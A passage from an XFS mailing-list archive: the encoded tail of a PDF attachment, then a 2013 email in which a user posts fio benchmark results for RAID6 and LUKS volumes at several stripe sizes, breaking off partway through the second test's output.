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 Ri0P5KM38Vo2laPfQFrWRAqkZ07soD6wUkP8VhwzznfjNMSK13z66YApV9PG4qu93jU5n149voRN GKT1D+5bqeH/zXHZRP4MN04V/+oHPeNpy9fG1jc1tqxugAnDHSYZJQvORFQRCc9YUu2tW7G6qW1O 0/XzW1bHrqtdMLuO6L8BX/4bugplbmRzdHJlYW0KZW5kb2JqCjExNCAwIG9iago1NTc3CmVuZG9i agoxMTUgMCBvYmoKKE1pY3Jvc29mdCBXb3JkIC0gdmlldy0xM0EuZG9jeCkKZW5kb2JqCjExNiAw IG9iagooTWFjIE9TIFggMTAuOC41IFF1YXJ0eiBQREZDb250ZXh0KQplbmRvYmoKMTE3IDAgb2Jq CihFQzMpCmVuZG9iagoxMTggMCBvYmoKKFdvcmQpCmVuZG9iagoxMTkgMCBvYmoKKEQ6MjAxMzEw MjkyMjAwNDBaMDAnMDAnKQplbmRvYmoKMTIwIDAgb2JqCigpCmVuZG9iagoxMjEgMCBvYmoKWyBd CmVuZG9iagoxIDAgb2JqCjw8IC9UaXRsZSAxMTUgMCBSIC9BdXRob3IgMTE3IDAgUiAvUHJvZHVj ZXIgMTE2IDAgUiAvQ3JlYXRvciAxMTggMCBSIC9DcmVhdGlvbkRhdGUKMTE5IDAgUiAvTW9kRGF0 ZSAxMTkgMCBSIC9LZXl3b3JkcyAxMjAgMCBSIC9BQVBMOktleXdvcmRzIDEyMSAwIFIgPj4KZW5k b2JqCnhyZWYKMCAxMjIKMDAwMDAwMDAwMCA2NTUzNSBmIAowMDAwMjkxNjIwIDAwMDAwIG4gCjAw MDAwMDg3NzQgMDAwMDAgbiAKMDAwMDE4NzE5NyAwMDAwMCBuIAowMDAwMDAwMDIyIDAwMDAwIG4g CjAwMDAwMDg3NTQgMDAwMDAgbiAKMDAwMDAwODg3OCAwMDAwMCBuIAowMDAwMTg0MTU5IDAwMDAw IG4gCjAwMDAyMDg3MTYgMDAwMDAgbiAKMDAwMDE4MTM4NyAwMDAwMCBuIAowMDAwMDA5MzM2IDAw MDAwIG4gCjAwMDAyMzMwMjcgMDAwMDAgbiAKMDAwMDAwOTQ4NCAwMDAwMCBuIAowMDAwMDA5NzU0 IDAwMDAwIG4gCjAwMDAyMjc0MzUgMDAwMDAgbiAKMDAwMDI0MjAxNCAwMDAwMCBuIAowMDAwMTg3 MzQ0IDAwMDAwIG4gCjAwMDAyMDE4MDUgMDAwMDAgbiAKMDAwMDE5MDMxMSAwMDAwMCBuIAowMDAw MTkxNzk4IDAwMDAwIG4gCjAwMDAyNTExMDMgMDAwMDAgbiAKMDAwMDAwMDAwMCAwMDAwMCBuIAow MDAwMjM1NTkxIDAwMDAwIG4gCjAwMDAyNTgwMzUgMDAwMDAgbiAKMDAwMDAwMDAwMCAwMDAwMCBu IAowMDAwMjAwNDI1IDAwMDAwIG4gCjAwMDAyNjMxMDggMDAwMDAgbiAKMDAwMDI2ODA2NiAwMDAw MCBuIAowMDAwMjczNDgwIDAwMDAwIG4gCjAwMDAwMDAwMDAgMDAwMDAgbiAKMDAwMDI4NDkyOCAw MDAwMCBuIAowMDAwMjM3NDg1IDAwMDAwIG4gCjAwMDAyODAyODggMDAwMDAgbiAKMDAwMDAwOTc3 MyAwMDAwMCBuIAowMDAwMDMxMzczIDAwMDAwIG4gCjAwMDAwMzEzOTUgMDAwMDAgbiAKMDAwMDE2 ODE3NyAwMDAwMCBuIAowMDAwMTg2OTY4IDAwMDAwIG4gCjAwMDAxNzk5MjAgMDAwMDAgbiAKMDAw MDE4MDE5NiAwMDAwMCBuIAowMDAwMTg2OTMxIDAwMDAwIG4gCjAwMDAxNjgyMDAgMDAwMDAgbiAK MDAwMDE2OTg2MiAwMDAwMCBuIAowMDAwMTY5ODgzIDAwMDAwIG4gCjAwMDAxNzk4OTkgMDAwMDAg biAKMDAwMDE4MDIxNiAwMDAwMCBuIAowMDAwMTgxMzY2IDAwMDAwIG4gCjAwMDAxODE0MjMgMDAw MDAgbiAKMDAwMDE4NDEzOCAwMDAwMCBuIAowMDAwMTg0MTk1IDAwMDAwIG4gCjAwMDAxODY5MTAg MDAwMDAgbiAKMDAwMDE4NzE3OCAwMDAwMCBuIAowMDAwMTg3MjgwIDAwMDAwIG4gCjAwMDAxODc3 MTkgMDAwMDAgbiAKMDAwMDE4Nzk4MyAwMDAwMCBuIAowMDAwMTkwMjkwIDAwMDAwIG4gCjAwMDAx OTA1MjEgMDAwMDAgbiAKMDAwMDE5MDc4NiAwMDAwMCBuIAowMDAwMTkxNzc4IDAwMDAwIG4gCjAw MDAxOTIxODEgMDAwMDAgbiAKMDAwMDE5MjQzMyAwMDAwMCBuIAowMDAwMjAwNDA0IDAwMDAwIG4g CjAwMDAyMDA5MTYgMDAwMDAgbiAKMDAwMDIwMDU5NCAwMDAwMCBuIAowMDAwMjAwODk2IDAwMDAw IG4gCjAwMDAyMDExNjcgMDAwMDAgbiAKMDAwMDIwMTc4NSAwMDAwMCBuIAowMDAwMjAyMDAyIDAw MDAwIG4gCjAwMDAyMDIyNzIgMDAwMDAgbiAKMDAwMDIwODY5NSAwMDAwMCBuIAowMDAwMjA5Mzcy IDAwMDAwIG4gCjAwMDAyMDk2MTIgMDAwMDAgbiAKMDAwMDIyNzQxMyAwMDAwMCBuIAowMDAwMjI3 OTIwIDAwMDAwIG4gCjAwMDAyMjc2MDIgMDAwMDAgbiAKMDAwMDIyNzkwMCAwMDAwMCBuIAowMDAw MjI4MTU5IDAwMDAwIG4gCjAwMDAyMzMwMDYgMDAwMDAgbiAKMDAwMDIzMzMzNCAwMDAwMCBuIAow MDAwMjMzNTk5IDAwMDAwIG4gCjAwMDAyMzU1NzAgMDAwMDAgbiAKMDAwMDIzNjA3MSAwMDAwMCBu IAowMDAwMjM1NzUzIDAwMDAwIG4gCjAwMDAyMzYwNTEgMDAwMDAgbiAKMDAwMDIzNjMxOCAwMDAw MCBuIAowMDAwMjM3NDY0IDAwMDAwIG4gCjAwMDAyMzc5NTEgMDAwMDAgbiAKMDAwMDIzODE5MSAw MDAwMCBuIAowMDAwMjQxOTkzIDAwMDAwIG4gCjAwMDAyNDI1ODkgMDAwMDAgbiAKMDAwMDI0Mjgz NCAwMDAwMCBuIAowMDAwMjUxMDgyIDAwMDAwIG4gCjAwMDAyNTE1MjYgMDAwMDAgbiAKMDAwMDI1 MTc3NCAwMDAwMCBuIAowMDAwMjU4MDE0IDAwMDAwIG4gCjAwMDAyNTgyMDggMDAwMDAgbiAKMDAw MDI1ODQ2OCAwMDAwMCBuIAowMDAwMjYzMDg3IDAwMDAwIG4gCjAwMDAyNjMyODUgMDAwMDAgbiAK MDAwMDI2MzUyNSAwMDAwMCBuIAowMDAwMjY4MDQ0IDAwMDAwIG4gCjAwMDAyNjgyNTkgMDAwMDAg biAKMDAwMDI2ODUwMSAwMDAwMCBuIAowMDAwMjczNDU4IDAwMDAwIG4gCjAwMDAyNzM4NDEgMDAw MDAgbiAKMDAwMDI3NDA4MyAwMDAwMCBuIAowMDAwMjgwMjY2IDAwMDAwIG4gCjAwMDAyODA1NTIg MDAwMDAgbiAKMDAwMDI4MDgwMyAwMDAwMCBuIAowMDAwMjg0OTA2IDAwMDAwIG4gCjAwMDAyODU0 MjQgMDAwMDAgbiAKMDAwMDI4NTEwMSAwMDAwMCBuIAowMDAwMjg1NDAzIDAwMDAwIG4gCjAwMDAy ODU2OTUgMDAwMDAgbiAKMDAwMDI5MTM2NCAwMDAwMCBuIAowMDAwMjkxMzg2IDAwMDAwIG4gCjAw MDAyOTE0MzYgMDAwMDAgbiAKMDAwMDI5MTQ4OSAwMDAwMCBuIAowMDAwMjkxNTEyIDAwMDAwIG4g CjAwMDAyOTE1MzYgMDAwMDAgbiAKMDAwMDI5MTU3OSAwMDAwMCBuIAowMDAwMjkxNTk5IDAwMDAw IG4gCnRyYWlsZXIKPDwgL1NpemUgMTIyIC9Sb290IDUyIDAgUiAvSW5mbyAxIDAgUiAvSUQgWyA8 YWQ1MzExYzM3ODE5M2U5NjVkYjQwNzUwNWY2Zjk5MzM+CjxhZDUzMTFjMzc4MTkzZTk2NWRiNDA3 NTA1ZjZmOTkzMz4gXSA+PgpzdGFydHhyZWYKMjkxNzg3CiUlRU9GCg== --=_e4d3ffc33d574dd0d3aa95911dd6a640-- From xfs@pzystorm.de Sun Dec 22 08:13:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 27C7A7F60 for ; Sun, 22 Dec 2013 08:13:30 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id BFAA5AC006 for ; Sun, 22 Dec 2013 06:13:29 -0800 (PST) X-ASG-Debug-ID: 1387721602-04bdf00fdf1923b0001-NocioJ Received: from mail.pzystorm.de (mail.pzystorm.de [147.172.2.110]) by cuda.sgi.com with ESMTP id QIyxspe3oqaw8Npv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 22 Dec 2013 06:13:23 -0800 (PST) X-Barracuda-Envelope-From: xfs@pzystorm.de X-Barracuda-Apparent-Source-IP: 147.172.2.110 Received: from 77-22-27-29-dynip.superkabel.de ([77.22.27.29] helo=[192.168.178.40]) by mail.pzystorm.de with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32) (Exim 4.76) (envelope-from ) id 1VujmQ-0007ey-NQ; Sun, 22 Dec 2013 15:13:18 +0100 Message-ID: <52B6F2ED.2010609@pzystorm.de> Date: Sun, 22 Dec 2013 15:10:53 +0100 From: Kevin Richter Reply-To: xfs@pzystorm.de MIME-Version: 1.0 To: stan@hardwarefreak.com, xfs@oss.sgi.com Subject: Re: XFS blocked task in xlog_cil_force_lsn References: <52B102FF.8040404@pzystorm.de> <52B118A9.8080905@hardwarefreak.com> <52B178AA.6040302@pzystorm.de> <52B2FE9E.50307@hardwarefreak.com> <52B41B67.9030308@pzystorm.de> <52B439D1.3020205@hardwarefreak.com> <52B6500D.3050800@pzystorm.de> <52B69EF5.2060903@hardwarefreak.com> X-ASG-Orig-Subj: Re: XFS blocked task in xlog_cil_force_lsn In-Reply-To: <52B69EF5.2060903@hardwarefreak.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail.pzystorm.de[147.172.2.110] X-Barracuda-Start-Time: 1387721602 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143302 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- > I'm glad you changed to size=1G instead of size=10G No no, I didnt change that. It has been written 160GB on these disks. 80 for the read part, 80 for the write part. Each test took round 30 minutes. > This is also a RAID6 array, without dm-crypt? Yeah, right. The same 5 disks in RAID6 mode, just in each case another partition on these disks. And yes, of course, XFS. So, with your new config I have made 7 fio runs: 1) 15GB RAID6 array, stripe 256 2) 15GB RAID6 array, stripe 1024 3) 15GB RAID6 array, stripe 2048 4) 15GB RAID6 array, stripe 4096 5) 3TB LUKS volume (no raid, just one single disk) 6) 6TB RAID6+LUKS array, stripe 256 7) 6TB RAID6+LUKS array, stripe 2048 In the 15GB array a stripe size of 4096 seems to get slightly more throughput than 2048. See below for the results :-) Perhaps, I should give you another information about the server hardware, which might (but hopefully do not) explain the low performance: The server is that one: http://www.supermicro.com/products/system/2u/6027/ssg-6027r-e1r12l.cfm with a 12-port SAS expander, which is that one: http://www.thomas-krenn.com/de/wiki/BPN-SAS-826EL1_SAS_Expander_Backplane But the backplane should have a thoughput of 3Gb/s However... I am very curious about your comments :-) Bye, Kevin ################################# 1) 15GB RAID6 volume, stripe 256: > read: (groupid=0, jobs=4): err= 0: pid=3959 > read : io=4092.0MB, bw=217900KB/s, iops=141 , runt= 19230msec > slat (usec): min=190 , max=1325 , avg=231.32, stdev=77.13 > clat (msec): min=7 , max=326 , avg=111.45, stdev=67.48 > lat (msec): min=7 , max=326 , avg=111.69, stdev=67.48 > bw (KB/s) : min=29425, max=109280, per=24.98%, avg=54423.27, stdev=15887.11 > cpu : usr=0.03%, sys=0.90%, ctx=2614, majf=0, minf=6233 > IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=2728/0/0, short=0/0/0 > > lat (msec): 10=0.66%, 20=4.84%, 50=16.35%, 100=25.70%, 250=47.91% > lat (msec): 500=4.55% > write: (groupid=1, jobs=4): err= 0: pid=3964 > write: io=4092.0MB, bw=54044KB/s, iops=35 , runt= 77533msec > slat (msec): min=9 , max=339 , avg=113.48, stdev=36.86 > clat (msec): min=2 , max=744 , avg=339.51, stdev=70.02 > lat (msec): min=23 , max=927 , avg=453.00, stdev=82.81 > bw (KB/s) : min= 5475, max=20756, per=24.92%, avg=13467.27, stdev=2107.66 > cpu : usr=0.58%, sys=6.26%, ctx=343060, majf=0, minf=550 > IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=0/2728/0, short=0/0/0 > > lat (msec): 4=0.04%, 10=0.04%, 50=0.11%, 100=0.26%, 250=5.94% > lat (msec): 500=91.50%, 750=2.13% > > Run status group 0 (all jobs): > READ: io=4092.0MB, aggrb=217899KB/s, minb=223129KB/s, maxb=223129KB/s, mint=19230msec, maxt=19230msec > > Run status group 1 (all jobs): > WRITE: io=4092.0MB, aggrb=54044KB/s, minb=55341KB/s, maxb=55341KB/s, mint=77533msec, maxt=77533msec > > Disk stats (read/write): > md1: ios=10912/10904, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=22836/29872, aggrmerge=364645/574313, aggrticks=216408/101340, aggrin_queue=317789, aggrutil=69.36% > sdc: ios=23542/29233, merge=377270/563331, ticks=217520/152300, in_queue=369860, util=67.99% > sdd: ios=23462/28930, merge=378915/557686, ticks=214104/142224, in_queue=356428, util=67.81% > sde: ios=22264/29920, merge=355831/576114, ticks=149184/99724, in_queue=248924, util=58.22% > sdf: ios=22240/30724, merge=352471/588412, ticks=126740/52916, in_queue=179696, util=55.44% > sdg: ios=22676/30557, merge=358741/586025, ticks=374496/59540, in_queue=434040, util=69.36% ################################# 2) 15GB RAID6 array, stripe 1024: > read: (groupid=0, jobs=4): err= 0: pid=4334 > read : io=4092.0MB, bw=237702KB/s, iops=154 , runt= 17628msec > slat (usec): min=196 , max=1469 , avg=232.84, stdev=88.56 > clat (msec): min=6 , max=391 , avg=101.62, stdev=56.61 > lat (msec): min=7 , max=391 , avg=101.85, stdev=56.61 > bw (KB/s) : min=26482, max=107305, per=24.94%, avg=59289.94, stdev=14153.87 > cpu : usr=0.04%, sys=0.98%, ctx=2581, majf=0, minf=6241 > IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=2728/0/0, short=0/0/0 > > lat (msec): 10=0.22%, 20=3.08%, 50=16.83%, 100=31.01%, 250=47.10% > lat (msec): 500=1.76% > write: (groupid=1, jobs=4): err= 0: pid=4340 > write: io=4092.0MB, bw=120759KB/s, iops=78 , runt= 34699msec > slat (msec): min=1 , max=156 , avg=47.70, stdev=27.94 > clat (msec): min=15 , max=520 , avg=152.37, stdev=53.34 > lat (msec): min=28 , max=564 , avg=200.07, stdev=57.63 > bw (KB/s) : min= 0, max=62270, per=25.04%, avg=30239.54, stdev=5435.51 > cpu : usr=1.34%, sys=5.68%, ctx=134184, majf=0, minf=94 > IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=0/2728/0, short=0/0/0 > > lat (msec): 20=0.04%, 50=1.10%, 100=12.02%, 250=82.18%, 500=4.62% > lat (msec): 750=0.04% > > Run status group 0 (all jobs): > READ: io=4092.0MB, aggrb=237701KB/s, minb=243406KB/s, maxb=243406KB/s, mint=17628msec, maxt=17628msec > > Run status group 1 (all jobs): > WRITE: io=4092.0MB, aggrb=120758KB/s, minb=123656KB/s, maxb=123656KB/s, mint=34699msec, maxt=34699msec > > Disk stats (read/write): > md1: ios=10912/10901, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=4062/6768, aggrmerge=109645/369712, aggrticks=157952/111924, aggrin_queue=270487, aggrutil=89.91% > sdc: ios=4070/6893, merge=109432/378682, ticks=173784/179392, in_queue=353780, util=89.88% > sdd: ios=4041/6961, 